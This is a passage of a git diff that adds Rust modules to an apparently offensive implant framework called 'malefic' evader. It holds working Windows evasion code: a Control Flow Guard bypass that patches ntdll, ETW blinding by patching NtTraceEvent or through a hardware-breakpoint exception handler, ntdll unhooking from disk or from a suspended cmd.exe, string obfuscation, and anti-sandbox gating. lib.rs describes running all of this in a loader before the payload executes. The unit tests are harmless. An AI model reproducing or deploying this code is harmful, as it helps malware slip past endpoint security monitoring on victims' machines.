old_prot, + ) { + core::ptr::copy_nonoverlapping(clean_bytes.as_ptr(), target, PATCH_SIZE); + MVirtualProtect(target as *mut c_void, PATCH_SIZE, old_prot, &mut old_prot); + MNtFlushInstructionCache(MGetCurrentProcess(), target as *mut c_void, PATCH_SIZE); + } + } + } +} + +/// Restore the default set of monitored NT functions. +pub fn execute_modifications() { + execute_modifications_for(DEFAULT_TARGETS); +} + +#[cfg(test)] +mod tests { + use super::*; + + /// Build a minimal synthetic PE64 file with one .text section. + /// Returns (pe_bytes, text_rva, text_raw_offset). + fn build_minimal_pe64(text_vaddr: u32, text_vsize: u32, text_raw: u32) -> Vec { + let e_lfanew: u32 = 0x40; + let opt_hdr_size: u16 = 0xF0; // standard PE32+ optional header size + let num_sections: u16 = 1; + // Section table starts at e_lfanew + 4(sig) + 20(COFF) + opt_hdr_size + let sec_table_off = e_lfanew as usize + 4 + 20 + opt_hdr_size as usize; + // PE file needs to be large enough for section table + section content + let file_size = std::cmp::max( + sec_table_off + 40 + 64, + text_raw as usize + text_vsize as usize, + ); + let mut pe = vec![0u8; file_size]; + + // DOS header + pe[0] = b'M'; + pe[1] = b'Z'; + pe[0x3C..0x40].copy_from_slice(&e_lfanew.to_le_bytes()); + + // PE signature + let nt = e_lfanew as usize; + pe[nt..nt + 4].copy_from_slice(&0x00004550u32.to_le_bytes()); + + // COFF header + pe[nt + 4..nt + 6].copy_from_slice(&0x8664u16.to_le_bytes()); // Machine = x86_64 + pe[nt + 6..nt + 8].copy_from_slice(&num_sections.to_le_bytes()); + pe[nt + 20..nt + 22].copy_from_slice(&opt_hdr_size.to_le_bytes()); + + // Optional header + let opt = nt + 24; + pe[opt..opt + 2].copy_from_slice(&0x020Bu16.to_le_bytes()); // Magic = PE32+ + + // Section table entry: .text + let sec = sec_table_off; + pe[sec..sec + 5].copy_from_slice(b".text"); + pe[sec + 8..sec + 12].copy_from_slice(&text_vsize.to_le_bytes()); // Misc.VirtualSize + pe[sec + 12..sec + 16].copy_from_slice(&text_vaddr.to_le_bytes()); // VirtualAddress + pe[sec + 16..sec + 20].copy_from_slice(&text_vsize.to_le_bytes()); // SizeOfRawData + pe[sec + 20..sec + 24].copy_from_slice(&text_raw.to_le_bytes()); // PointerToRawData + + pe + } + + #[test] + fn test_rva_to_raw_basic() { + // Section: VA=0x1000, VSize=0x200, RawOffset=0x400 + let pe = build_minimal_pe64(0x1000, 0x200, 0x400); + // RVA 0x1000 should map to raw offset 0x400 + assert_eq!(rva_to_raw(&pe, 0x1000), Some(0x400)); + // RVA 0x1050 should map to raw offset 0x450 + assert_eq!(rva_to_raw(&pe, 0x1050), Some(0x450)); + // RVA 0x11FF should map to raw offset 0x5FF (last byte in section) + assert_eq!(rva_to_raw(&pe, 0x11FF), Some(0x5FF)); + } + + #[test] + fn test_rva_to_raw_out_of_range() { + let pe = build_minimal_pe64(0x1000, 0x200, 0x400); + // RVA 0x1200 is outside the section (VA=0x1000, VSize=0x200) + assert_eq!(rva_to_raw(&pe, 0x1200), None); + // RVA 0x0FFF is before the section + assert_eq!(rva_to_raw(&pe, 0x0FFF), None); + // RVA 0x0000 is before all sections + assert_eq!(rva_to_raw(&pe, 0x0000), None); + } + + #[test] + fn test_rva_to_raw_invalid_pe() { + // Too short — rva_to_raw indexes bytes[0x3C..0x40] which panics on short input. + // The production code only ever receives full PE files, so this is expected. + let result = std::panic::catch_unwind(|| rva_to_raw(&[0u8; 16], 0x1000)); + assert!(result.is_err(), "Should panic on truncated input"); + } + + #[test] + fn test_rva_to_raw_empty_data() { + let result = std::panic::catch_unwind(|| rva_to_raw(&[], 0x1000)); + assert!(result.is_err(), "Should panic on empty input"); + } + + /// Build a PE64 with a fake export table containing specified function names. + fn build_pe64_with_exports(funcs: &[&str]) -> Vec { + let e_lfanew: u32 = 0x40; + let opt_hdr_size: u16 = 0xF0; + let num_sections: u16 = 1; + let sec_table_off = e_lfanew as usize + 4 + 20 + opt_hdr_size as usize; + + // Section layout: + // .text section at VA=0x1000, raw at 0x400, large enough for exports + let text_va: u32 = 0x1000; + let text_raw: u32 = 0x400; + + // Export directory layout (all within the .text section): + let exp_rva = text_va; // export dir at start of .text + let exp_raw = text_raw as usize; + + let n = funcs.len(); + // Layout after export dir (40 bytes): + // addr_table: at exp + 40, n * 4 bytes + // name_table: at exp + 40 + n*4, n * 4 bytes + // ord_table: at exp + 40 + n*8, n * 2 bytes + // names: after ord table + let addr_table_rva = exp_rva + 40; + let name_table_rva = addr_table_rva + (n as u32) * 4; + let ord_table_rva = name_table_rva + (n as u32) * 4; + let names_start_rva = ord_table_rva + (n as u32) * 2; + + // Calculate total size needed + let mut total_name_len = 0usize; + for f in funcs { + total_name_len += f.len() + 1; + } // +1 for null terminator + let section_size = 40 + n * 4 + n * 4 + n * 2 + total_name_len + 64; + let file_size = text_raw as usize + section_size; + let mut pe = vec![0u8; file_size]; + + // DOS header + pe[0] = b'M'; + pe[1] = b'Z'; + pe[0x3C..0x40].copy_from_slice(&e_lfanew.to_le_bytes()); + + // PE signature + COFF + let nt = e_lfanew as usize; + pe[nt..nt + 4].copy_from_slice(&0x00004550u32.to_le_bytes()); + pe[nt + 4..nt + 6].copy_from_slice(&0x8664u16.to_le_bytes()); + pe[nt + 6..nt + 8].copy_from_slice(&num_sections.to_le_bytes()); + pe[nt + 20..nt + 22].copy_from_slice(&opt_hdr_size.to_le_bytes()); + + // Optional header + let opt = nt + 24; + pe[opt..opt + 2].copy_from_slice(&0x020Bu16.to_le_bytes()); // PE32+ + // DataDirectory[0] (exports) at opt + 0x70 + pe[opt + 0x70..opt + 0x74].copy_from_slice(&exp_rva.to_le_bytes()); + pe[opt + 0x74..opt + 0x78].copy_from_slice(&(section_size as u32).to_le_bytes()); + + // Section table + let sec = sec_table_off; + pe[sec..sec + 5].copy_from_slice(b".text"); + pe[sec + 8..sec + 12].copy_from_slice(&(section_size as u32).to_le_bytes()); + pe[sec + 12..sec + 16].copy_from_slice(&text_va.to_le_bytes()); + pe[sec + 16..sec + 20].copy_from_slice(&(section_size as u32).to_le_bytes()); + pe[sec + 20..sec + 24].copy_from_slice(&text_raw.to_le_bytes()); + + // Export directory table (at exp_raw) + let ed = exp_raw; + pe[ed + 20..ed + 24].copy_from_slice(&1u32.to_le_bytes()); // NumberOfFunctions + pe[ed + 24..ed + 28].copy_from_slice(&(n as u32).to_le_bytes()); // NumberOfNames + pe[ed + 28..ed + 32].copy_from_slice(&addr_table_rva.to_le_bytes()); + pe[ed + 32..ed + 36].copy_from_slice(&name_table_rva.to_le_bytes()); + pe[ed + 36..ed + 40].copy_from_slice(&ord_table_rva.to_le_bytes()); + + // Convert RVAs to raw offsets for writing + let addr_raw = (addr_table_rva - text_va + text_raw) as usize; + let name_raw = (name_table_rva - text_va + text_raw) as usize; + let ord_raw = (ord_table_rva - text_va + text_raw) as usize; + let mut name_off_rva = names_start_rva; + + for i in 0..n { + // Address table: fake RVA for each function (0x2000 + i*0x10) + let fn_rva = 0x2000u32 + (i as u32) * 0x10; + pe[addr_raw + i * 4..addr_raw + i * 4 + 4].copy_from_slice(&fn_rva.to_le_bytes()); + // Ordinal table: ordinal = i + pe[ord_raw + i * 2..ord_raw + i * 2 + 2].copy_from_slice(&(i as u16).to_le_bytes()); + // Name pointer table: RVA to name string + pe[name_raw + i * 4..name_raw + i * 4 + 4].copy_from_slice(&name_off_rva.to_le_bytes()); + // Write name string + let name_file_off = (name_off_rva - text_va + text_raw) as usize; + let name_bytes = funcs[i].as_bytes(); + pe[name_file_off..name_file_off + name_bytes.len()].copy_from_slice(name_bytes); + pe[name_file_off + name_bytes.len()] = 0; // null terminator + name_off_rva += (name_bytes.len() + 1) as u32; + } + + pe + } + + #[test] + fn test_find_export_rva_single_func() { + let pe = build_pe64_with_exports(&["NtAllocateVirtualMemory"]); + let rva = find_export_rva(&pe, "NtAllocateVirtualMemory"); + assert_eq!(rva, Some(0x2000)); + } + + #[test] + fn test_find_export_rva_multiple_funcs() { + let funcs = &[ + "NtAllocateVirtualMemory", + "NtCreateThreadEx", + "NtWriteVirtualMemory", + ]; + let pe = build_pe64_with_exports(funcs); + assert_eq!( + find_export_rva(&pe, "NtAllocateVirtualMemory"), + Some(0x2000) + ); + assert_eq!(find_export_rva(&pe, "NtCreateThreadEx"), Some(0x2010)); + assert_eq!(find_export_rva(&pe, "NtWriteVirtualMemory"), Some(0x2020)); + } + + #[test] + fn test_find_export_rva_not_found() { + let pe = build_pe64_with_exports(&["NtAllocateVirtualMemory"]); + assert_eq!(find_export_rva(&pe, "NtFreeVirtualMemory"), None); + } + + #[test] + fn test_find_export_rva_invalid_pe() { + let result = std::panic::catch_unwind(|| find_export_rva(&[0u8; 16], "foo")); + assert!(result.is_err(), "Should panic on truncated input"); + let result = std::panic::catch_unwind(|| find_export_rva(&[], "foo")); + assert!(result.is_err(), "Should panic on empty input"); + } +} diff --git a/malefic-crates/evader/src/cfg_patch.rs b/malefic-crates/evader/src/cfg_patch.rs new file mode 100644 index 0000000..1c33f34 --- /dev/null +++ b/malefic-crates/evader/src/cfg_patch.rs @@ -0,0 +1,157 @@ +//! CFG (Control Flow Guard) bypass (BOAZ cfg_patch port). +//! +//! Locates `LdrpDispatchUserCallTarget` near `RtlRetrieveNtUserPfn` by +//! scanning for the `bt r11,r10` CFG check pattern, then replaces it with +//! `clc; cmc` so the check always reports the target as a valid CFG target. + +use core::ffi::c_void; + +use crate::types::PAGE_EXECUTE_READWRITE; +use malefic_os_win::kit::binding::{ + MGetCurrentProcess, MGetProcAddress, MLoadLibraryA, MNtFlushInstructionCache, MVirtualProtect, +}; + +/// Get ntdll base address from the loaded module list. +unsafe fn get_ntdll_base() -> *mut u8 { + let _obf_ntdll_dll = obf_cstr!(b"ntdll.dll\0"); + MLoadLibraryA(_obf_ntdll_dll.as_ptr()) as *mut u8 +} + +/// Scan `[start, start + range)` for `pattern`, returning the offset. +unsafe fn get_pattern(start: *const u8, range: usize, pattern: &[u8]) -> Option { + let n = pattern.len(); + if range < n { + return None; + } + for off in 0..=(range - n) { + let slice = core::slice::from_raw_parts(start.add(off), n); + if slice == pattern { + return Some(off); + } + } + None +} + +/// Patch Control Flow Guard by neutering `LdrpDispatchUserCallTarget`. +/// +/// Strategy (mirrors the C original): +/// 1. Find `RtlRetrieveNtUserPfn` in ntdll exports. +/// 2. Scan ±0x1000 bytes around it for the `bt r11, r10` encoding +/// (4D 0F A3 CA), which is the CFG validity check inside +/// `LdrpDispatchUserCallTarget`. +/// 3. Replace those 4 bytes with `clc; cmc; nop; nop` (F8 F5 90 90) +/// so the carry flag is always cleared then toggled, making every +/// indirect call appear valid to CFG. +pub fn patch_cfg() { + unsafe { + let ntdll = get_ntdll_base(); + if ntdll.is_null() { + return; + } + + // Resolve RtlRetrieveNtUserPfn as our scan anchor + let _obf_rtlretrieventuserpfn = obf_cstr!(b"RtlRetrieveNtUserPfn\0"); + let anchor_raw = + MGetProcAddress(ntdll as *const c_void, _obf_rtlretrieventuserpfn.as_ptr()); + let anchor = if anchor_raw.is_null() { + // Fall back: scan the whole module (expensive but works) + ntdll + } else { + // Scan ±0x1000 bytes around the anchor + anchor_raw as *mut u8 + }; + + // Scan range: start a little before the anchor + let scan_start = anchor.sub(0x1000); + let scan_range = 0x2000usize; + + // bt r11, r10 = 4D 0F A3 CA + let bt_pattern: &[u8] = &[0x4D, 0x0F, 0xA3, 0xCA]; + // Replacement: clc (F8) + cmc (F5) + nop (90) + nop (90) + let patch: [u8; 4] = [0xF8, 0xF5, 0x90, 0x90]; + + if let Some(off) = get_pattern(scan_start, scan_range, bt_pattern) { + let target = scan_start.add(off); + let mut old_prot: u32 = 0; + if MVirtualProtect( + target as *mut c_void, + patch.len(), + PAGE_EXECUTE_READWRITE, + &mut old_prot, + ) { + core::ptr::copy_nonoverlapping(patch.as_ptr(), target, patch.len()); + MVirtualProtect(target as *mut c_void, patch.len(), old_prot, &mut old_prot); + MNtFlushInstructionCache(MGetCurrentProcess(), target as *mut c_void, patch.len()); + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_get_pattern_found_at_start() { + let data = vec![0x4D, 0x0F, 0xA3, 0xCA, 0x90, 0x90]; + unsafe { + let result = get_pattern(data.as_ptr(), data.len(), &[0x4D, 0x0F, 0xA3, 0xCA]); + assert_eq!(result, Some(0)); + } + } + + #[test] + fn test_get_pattern_found_in_middle() { + let data = vec![0x90, 0x90, 0x4D, 0x0F, 0xA3, 0xCA, 0x90]; + unsafe { + let result = get_pattern(data.as_ptr(), data.len(), &[0x4D, 0x0F, 0xA3, 0xCA]); + assert_eq!(result, Some(2)); + } + } + + #[test] + fn test_get_pattern_found_at_end() { + let data = vec![0x90, 0x90, 0x4D, 0x0F, 0xA3, 0xCA]; + unsafe { + let result = get_pattern(data.as_ptr(), data.len(), &[0x4D, 0x0F, 0xA3, 0xCA]); + assert_eq!(result, Some(2)); + } + } + + #[test] + fn test_get_pattern_not_found() { + let data = vec![0x90, 0x90, 0x90, 0x90, 0x90, 0x90]; + unsafe { + let result = get_pattern(data.as_ptr(), data.len(), &[0x4D, 0x0F, 0xA3, 0xCA]); + assert_eq!(result, None); + } + } + + #[test] + fn test_get_pattern_range_too_small() { + let data = vec![0x4D, 0x0F]; + unsafe { + let result = get_pattern(data.as_ptr(), data.len(), &[0x4D, 0x0F, 0xA3, 0xCA]); + assert_eq!(result, None); + } + } + + #[test] + fn test_get_pattern_single_byte() { + let data = vec![0x00, 0x01, 0xCC, 0x03]; + unsafe { + let result = get_pattern(data.as_ptr(), data.len(), &[0xCC]); + assert_eq!(result, Some(2)); + } + } + + #[test] + fn test_get_pattern_first_occurrence() { + // Should return the FIRST match + let data = vec![0xAA, 0xBB, 0xAA, 0xBB]; + unsafe { + let result = get_pattern(data.as_ptr(), data.len(), &[0xAA, 0xBB]); + assert_eq!(result, Some(0)); + } + } +} diff --git a/malefic-crates/evader/src/etw_pass.rs b/malefic-crates/evader/src/etw_pass.rs new file mode 100644 index 0000000..08d8919 --- /dev/null +++ b/malefic-crates/evader/src/etw_pass.rs @@ -0,0 +1,238 @@ +//! ETW bypass (BOAZ etw_pass port). +//! +//! Three complementary techniques: +//! 1. `neutralize_etw` — patch NtTraceEvent with `xor rax,rax; ret` +//! 2. `bypass_etw_hwbp` — patchless via VEH + hardware breakpoint (Dr0) +//! 3. `restore_ntdll` — load a clean copy of ntdll from disk +//! +//! `everything()` chains them: restore → bypass. + +use core::ffi::c_void; +use core::ptr::null_mut; +use core::sync::atomic::{AtomicPtr, Ordering}; + +use crate::types::{ + CONTEXT, CONTEXT_DEBUG_REGISTERS, EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH, + EXCEPTION_POINTERS, EXCEPTION_SINGLE_STEP, PAGE_EXECUTE_READWRITE, +}; +use malefic_os_win::kit::binding::{ + MAddVectoredExceptionHandler, MGetCurrentProcess, MGetCurrentThread, MGetProcAddress, + MGetThreadContext, MLoadLibraryA, MNtFlushInstructionCache, MSetThreadContext, MVirtualProtect, +}; + +// ─── Technique 1: patch NtTraceEvent ───────────────────────────────────────── + +/// Overwrite the first bytes of `NtTraceEvent` with `xor rax,rax; ret` +/// so all ETW write calls silently return 0 (STATUS_SUCCESS). +#[cfg(target_arch = "x86_64")] +pub fn neutralize_etw() -> bool { + unsafe { + let ntdll = { + let name = obf_cstr!(b"ntdll.dll\0"); + MLoadLibraryA(name.as_ptr()) + }; + if ntdll.is_null() { + return false; + } + + let func_addr = { + let name = obf_cstr!(b"NtTraceEvent\0"); + MGetProcAddress(ntdll as *const c_void, name.as_ptr()) + }; + if func_addr.is_null() { + return false; + } + + // xor rax, rax (48 31 C0) + ret (C3) + let patch: [u8; 4] = [0x48, 0x31, 0xC0, 0xC3]; + let mut old_prot: u32 = 0; + if !MVirtualProtect( + func_addr as *mut c_void, + patch.len(), + PAGE_EXECUTE_READWRITE, + &mut old_prot, + ) { + return false; + } + + core::ptr::copy_nonoverlapping(patch.as_ptr(), func_addr as *mut u8, patch.len()); + MVirtualProtect( + func_addr as *mut c_void, + patch.len(), + old_prot, + &mut old_prot, + ); + MNtFlushInstructionCache(MGetCurrentProcess(), func_addr as *mut c_void, patch.len()); + true + } +} + +// ─── Technique 2: patchless — VEH + HWBP ───────────────────────────────────── + +/// Address of a single-byte `ret` stub used as the redirect target. +/// Written once and read by the VEH handler. +static RET_STUB_ADDR: AtomicPtr = AtomicPtr::new(null_mut()); + +/// Address of the breakpointed function (NtTraceEvent). +static BP_TARGET: AtomicPtr = AtomicPtr::new(null_mut()); + +/// VEH handler: when the HWBP on NtTraceEvent fires, redirect RIP to +/// a `ret` stub and clear the breakpoint state so execution continues. +#[cfg(target_arch = "x86_64")] +unsafe extern "system" fn etw_veh_handler(exc: *mut EXCEPTION_POINTERS) -> i32 { + let exc = &*exc; + if exc.ExceptionRecord.is_null() || exc.ContextRecord.is_null() { + return EXCEPTION_CONTINUE_SEARCH; + } + let record = &*exc.ExceptionRecord; + let ctx = &mut *exc.ContextRecord; + + if record.ExceptionCode != EXCEPTION_SINGLE_STEP { + return EXCEPTION_CONTINUE_SEARCH; + } + + let bp = BP_TARGET.load(Ordering::Relaxed); + let rip = ctx.rip() as *mut c_void; + if rip != bp { + return EXCEPTION_CONTINUE_SEARCH; + } + + // Redirect to ret stub + let stub = RET_STUB_ADDR.load(Ordering::Relaxed); + ctx.set_rip(stub as u64); + + // Clear Dr0 + Dr7 enable bits so we don't keep firing + ctx.set_dr(0, 0); + let dr7 = ctx.dr7() & !(0b11u64); // clear local enable bit 0 + ctx.set_dr7(dr7); + + EXCEPTION_CONTINUE_EXECUTION +} + +/// Install VEH + HWBP on `NtTraceEvent` to silently swallow all ETW events. +#[cfg(target_arch = "x86_64")] +pub fn bypass_etw_hwbp() -> bool { + unsafe { + // Allocate a tiny executable stub: just a `ret` (0xC3) + use crate::types::{MEM_COMMIT, MEM_RESERVE}; + use malefic_os_win::kit::binding::MVirtualAlloc; + let stub = MVirtualAlloc( + null_mut(), + 16, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ); + if stub.is_null() { + return false; + } + *(stub as *mut u8) = 0xC3; + RET_STUB_ADDR.store(stub, Ordering::Relaxed); + + // Get NtTraceEvent address + let _obf_ntdll_dll = obf_cstr!(b"ntdll.dll\0"); + let ntdll = MLoadLibraryA(_obf_ntdll_dll.as_ptr()); + if ntdll.is_null() { + return false; + } + let _obf_nttraceevent = obf_cstr!(b"NtTraceEvent\0"); + let nt_trace = MGetProcAddress(ntdll as *const c_void, _obf_nttraceevent.as_ptr()); + if nt_trace.is_null() { + return false; + } + BP_TARGET.store(nt_trace as *mut c_void, Ordering::Relaxed); + + // Register VEH + let veh = MAddVectoredExceptionHandler(1, etw_veh_handler as *mut c_void); + if veh.is_null() { + return false; + } + + // Set Dr0 = NtTraceEvent, Dr7 bit 0 = local enable + let hthread = MGetCurrentThread(); + let mut ctx = CONTEXT::new(); + ctx.set_context_flags(CONTEXT_DEBUG_REGISTERS); + if !MGetThreadContext(hthread, &mut ctx as *mut CONTEXT as *mut c_void) { + return false; + } + ctx.set_dr(0, nt_trace as u64); + let dr7 = ctx.dr7() | 0x1; // local enable Dr0 + ctx.set_dr7(dr7); + MSetThreadContext(hthread, &mut ctx as *mut CONTEXT as *mut c_void) + } +} + +// ─── Technique 3: restore ntdll from disk ──────────────────────────────────── + +/// Load a clean copy of `ntdll.dll` from the file system and overwrite +/// the `.text` section of the in-memory (potentially hooked) ntdll. +pub fn restore_ntdll() -> bool { + unsafe { + let ntdll_path = obf_cstr!(b"C:\\Windows\\System32\\ntdll.dll\0"); + let disk_bytes = match std::fs::read( + std::str::from_utf8(&ntdll_path[..ntdll_path.len() - 1]).unwrap(), + ) { + Ok(b) => b, + Err(_) => return false, + }; + + // Find in-memory ntdll base + let ntdll_base = { + let _obf_ntdll_dll_1 = obf_cstr!(b"ntdll.dll\0"); + let h = MLoadLibraryA(_obf_ntdll_dll_1.as_ptr()); + if h.is_null() { + return false; + } + h as *mut u8 + }; + + // Parse DOS + PE headers to find .text section in the disk image + let disk = disk_bytes.as_ptr(); + let dos_e_lfanew = i32::from_ne_bytes(*(disk.add(0x3C) as *const [u8; 4])); + let nt_hdrs = disk.add(dos_e_lfanew as usize); + // NumberOfSections at PE+0x06 + let num_sections = u16::from_ne_bytes(*(nt_hdrs.add(6) as *const [u8; 2])) as usize; + // SizeOfOptionalHeader at PE+0x14 + let opt_hdr_size = u16::from_ne_bytes(*(nt_hdrs.add(20) as *const [u8; 2])) as usize; + // Section table starts after the optional header + let section_ptr = nt_hdrs.add(24 + opt_hdr_size); + + for i in 0..num_sections { + let sec = section_ptr.add(i * 40); + let name = core::slice::from_raw_parts(sec, 8); + if name.starts_with(b".text") { + let virt_addr = u32::from_ne_bytes(*(sec.add(12) as *const [u8; 4])) as usize; + let raw_off = u32::from_ne_bytes(*(sec.add(20) as *const [u8; 4])) as usize; + let size = u32::from_ne_bytes(*(sec.add(16) as *const [u8; 4])) as usize; + + let mem_text = ntdll_base.add(virt_addr); + let disk_text = disk.add(raw_off); + + let mut old_prot: u32 = 0; + if !MVirtualProtect( + mem_text as *mut c_void, + size, + PAGE_EXECUTE_READWRITE, + &mut old_prot, + ) { + return false; + } + + core::ptr::copy_nonoverlapping(disk_text, mem_text, size); + + MVirtualProtect(mem_text as *mut c_void, size, old_prot, &mut old_prot); + MNtFlushInstructionCache(MGetCurrentProcess(), mem_text as *mut c_void, size); + return true; + } + } + false + } +} + +// ─── Orchestrator ───────────────────────────────────────────────────────────── + +/// Full ETW evasion chain: restore ntdll, then apply HWBP bypass. +pub fn everything() { + restore_ntdll(); + #[cfg(target_arch = "x86_64")] + bypass_etw_hwbp(); +} diff --git a/malefic-crates/evader/src/god_speed.rs b/malefic-crates/evader/src/god_speed.rs new file mode 100644 index 0000000..bf1e5ac --- /dev/null +++ b/malefic-crates/evader/src/god_speed.rs @@ -0,0 +1,130 @@ +//! ntdll unhooking via a clean suspended process (BOAZ god_speed port). +//! +//! Creates a suspended `cmd.exe`, reads its clean ntdll .text section, +//! and overwrites the potentially hooked in-memory ntdll in the current +//! process. The suspended process is then terminated. + +use core::ffi::c_void; +use core::mem::zeroed; +use core::ptr::null_mut; + +use crate::types::{ + CREATE_NO_WINDOW, CREATE_SUSPENDED, PAGE_EXECUTE_READWRITE, PROCESS_INFORMATION, STARTUPINFOA, +}; +use malefic_os_win::kit::binding::{ + MCloseHandle, MCreateProcessA, MGetCurrentProcess, MLoadLibraryA, MNtFlushInstructionCache, + MReadProcessMemory, MTerminateProcess, MVirtualProtect, +}; + +/// Read a `u16` from a byte slice at `offset` (little-endian). +unsafe fn read_u16(base: *const u8, offset: usize) -> u16 { + let ptr = base.add(offset) as *const u16; + core::ptr::read_unaligned(ptr) +} + +/// Read a `u32` from a byte slice at `offset` (little-endian). +unsafe fn read_u32(base: *const u8, offset: usize) -> u32 { + let ptr = base.add(offset) as *const u32; + core::ptr::read_unaligned(ptr) +} + +/// Locate the `.text` section bounds inside a PE image already mapped at `base`. +/// Returns (virtual_address, raw_size). +unsafe fn find_text_section(base: *const u8) -> Option<(usize, usize)> { + let e_lfanew = read_u32(base, 0x3C) as usize; + let nt = base.add(e_lfanew); + let num_sections = read_u16(nt, 6) as usize; + let opt_hdr_size = read_u16(nt, 20) as usize; + let sec_table = nt.add(24 + opt_hdr_size); + + for i in 0..num_sections { + let sec = sec_table.add(i * 40); + let name = core::slice::from_raw_parts(sec, 8); + if name.starts_with(b".text") { + let virt_addr = read_u32(sec, 12) as usize; + let size = read_u32(sec, 16) as usize; + return Some((virt_addr, size)); + } + } + None +} + +/// Unhook ntdll by: +/// 1. Spawning a suspended `cmd.exe` (its ntdll will be clean). +/// 2. Finding ntdll in the remote process memory (same VA as local). +/// 3. Reading the clean `.text` section via `ReadProcessMemory`. +/// 4. Overwriting our own ntdll `.text` section with the clean bytes. +/// 5. Terminating the suspended process. +pub fn execute_process_operations() { + unsafe { + // ── 1. Spawn suspended cmd.exe ─────────────────────────────── + let app = obf_cstr!(b"cmd.exe\0"); + let mut si: STARTUPINFOA = zeroed(); + si.cb = core::mem::size_of::() as u32; + let mut pi: PROCESS_INFORMATION = zeroed(); + + let ok = MCreateProcessA( + null_mut(), + app.as_ptr() as *mut i8, + null_mut(), + null_mut(), + 0, + CREATE_SUSPENDED | CREATE_NO_WINDOW, + null_mut(), + null_mut(), + &mut si as *mut STARTUPINFOA as *mut c_void, + &mut pi as *mut PROCESS_INFORMATION as *mut c_void, + ); + if !ok { + return; + } + + // ── 2. Get local ntdll base (same VA in the remote process) ── + let ntdll_base = { + let _obf_ntdll_dll = obf_cstr!(b"ntdll.dll\0"); + let h = MLoadLibraryA(_obf_ntdll_dll.as_ptr()); + if h.is_null() { + MTerminateProcess(pi.hProcess, 0); + return; + } + h as *const u8 + }; + + // ── 3. Locate .text section ─────────────────────────────────── + let (text_rva, text_size) = match find_text_section(ntdll_base) { + Some(t) => t, + None => { + MTerminateProcess(pi.hProcess, 0); + return; + } + }; + let remote_text = (ntdll_base as usize + text_rva) as *mut c_void; + + // ── 4. Read clean bytes from the suspended process ──────────── + let mut clean_buf = vec![0u8; text_size]; + let ok = MReadProcessMemory( + pi.hProcess, + remote_text, + clean_buf.as_mut_ptr() as *mut c_void, + text_size, + ); + if !ok { + MTerminateProcess(pi.hProcess, 0); + return; + } + + // ── 5. Overwrite local ntdll .text with clean bytes ─────────── + let local_text = (ntdll_base as usize + text_rva) as *mut c_void; + let mut old_prot: u32 = 0; + if MVirtualProtect(local_text, text_size, PAGE_EXECUTE_READWRITE, &mut old_prot) { + core::ptr::copy_nonoverlapping(clean_buf.as_ptr(), local_text as *mut u8, text_size); + MVirtualProtect(local_text, text_size, old_prot, &mut old_prot); + MNtFlushInstructionCache(MGetCurrentProcess(), local_text, text_size); + } + + // ── 6. Terminate suspended process ─────────────────────────── + MTerminateProcess(pi.hProcess, 0); + MCloseHandle(pi.hProcess); + MCloseHandle(pi.hThread); + } +} diff --git a/malefic-crates/evader/src/lib.rs b/malefic-crates/evader/src/lib.rs new file mode 100644 index 0000000..2eca80e --- /dev/null +++ b/malefic-crates/evader/src/lib.rs @@ -0,0 +1,122 @@ +//! Malefic Evader — Evasion and anti-analysis modules. +//! +//! Consolidates evader techniques (from malefic-starship) and anti-analysis +//! modules (sandbox/vm detection from malefic-os-win) into a standalone crate. + +#![allow(dead_code)] + +/// Debug print macro - only outputs when `debug` feature is enabled +#[macro_export] +macro_rules! debug_println { + ($($arg:tt)*) => { + #[cfg(feature = "debug")] + println!($($arg)*); + }; +} + +/// Obfuscate a byte string literal, returning `Vec`. +/// +/// When `obf_strings` is enabled: AES-encrypted at compile time, decrypted at runtime. +/// When disabled: pass-through `.to_vec()` (negligible for one-shot loader). +#[cfg(feature = "obf_strings")] +#[macro_export] +macro_rules! obf_cstr { + ($s:expr) => { + ::malefic_gateway::obf_bytes!($s) + }; +} + +#[cfg(not(feature = "obf_strings"))] +#[macro_export] +macro_rules! obf_cstr { + ($s:expr) => { + $s.to_vec() + }; +} + +#[allow(non_snake_case)] +pub mod types; + +#[cfg(all(target_os = "windows", feature = "evader_anti_emu"))] +pub mod anti_emu; + +#[cfg(all(target_os = "windows", feature = "evader_etw_pass"))] +pub mod etw_pass; + +#[cfg(all(target_os = "windows", feature = "evader_god_speed"))] +pub mod god_speed; + +#[cfg(all(target_os = "windows", feature = "evader_sleep_encrypt"))] +pub mod sleep_encrypt; + +#[cfg(all(target_os = "windows", feature = "evader_anti_forensic"))] +pub mod anti_forensic; + +#[cfg(all(target_os = "windows", feature = "evader_cfg_patch"))] +pub mod cfg_patch; + +#[cfg(all(target_os = "windows", feature = "evader_api_untangle"))] +pub mod api_untangle; + +#[cfg(all(target_os = "windows", feature = "evader_normal_api"))] +pub mod normal_api; + +#[cfg(all(target_os = "windows", feature = "anti_sandbox"))] +pub mod sandbox; + +#[cfg(all(target_os = "windows", feature = "anti_vm"))] +pub mod vm; + +/// Run all enabled evasion modules in order. +/// +/// Call this early in the loader entry point (before decoding or executing +/// the payload) to set up the evasion environment. +#[allow(unused_variables)] +#[cfg_attr(feature = "obf_junk", malefic_gateway::junk)] +pub fn run_evaders() { + #[cfg(all(target_os = "windows", feature = "evader_anti_emu"))] + { + #[cfg(feature = "debug")] + println!("[evader] anti_emu: running sandbox checks..."); + if !anti_emu::execute_all_checks() { + #[cfg(feature = "debug")] + println!("[evader] anti_emu: sandbox detected, aborting"); + return; + } + #[cfg(feature = "debug")] + println!("[evader] anti_emu: environment looks real, continuing"); + } + + #[cfg(all(target_os = "windows", feature = "evader_god_speed"))] + { + #[cfg(feature = "debug")] + println!("[evader] god_speed: unhooking ntdll via suspended process"); + god_speed::execute_process_operations(); + } + + #[cfg(all(target_os = "windows", feature = "evader_api_untangle"))] + { + #[cfg(feature = "debug")] + println!("[evader] api_untangle: restoring hooked APIs from disk"); + api_untangle::execute_modifications(); + } + + #[cfg(all(target_os = "windows", feature = "evader_etw_pass"))] + { + #[cfg(feature = "debug")] + println!("[evader] etw_pass: bypassing ETW"); + etw_pass::everything(); + } + + #[cfg(all(target_os = "windows", feature = "evader_cfg_patch"))] + { + #[cfg(feature = "debug")] + println!("[evader] cfg_patch: patching CFG"); + cfg_patch::patch_cfg(); + } + + #[cfg(all(target_os = "windows", feature = "evader_normal_api"))] + { + normal_api::execute_api_function(); + } +} diff --git a/malefic-crates/evader/src/normal_api.rs b/malefic-crates/evader/src/normal_api.rs new file mode 100644 index 0000000..5a7791f --- /dev/null +++ b/malefic-crates/evader/src/normal_api.rs @@ -0,0 +1,162 @@ +//! 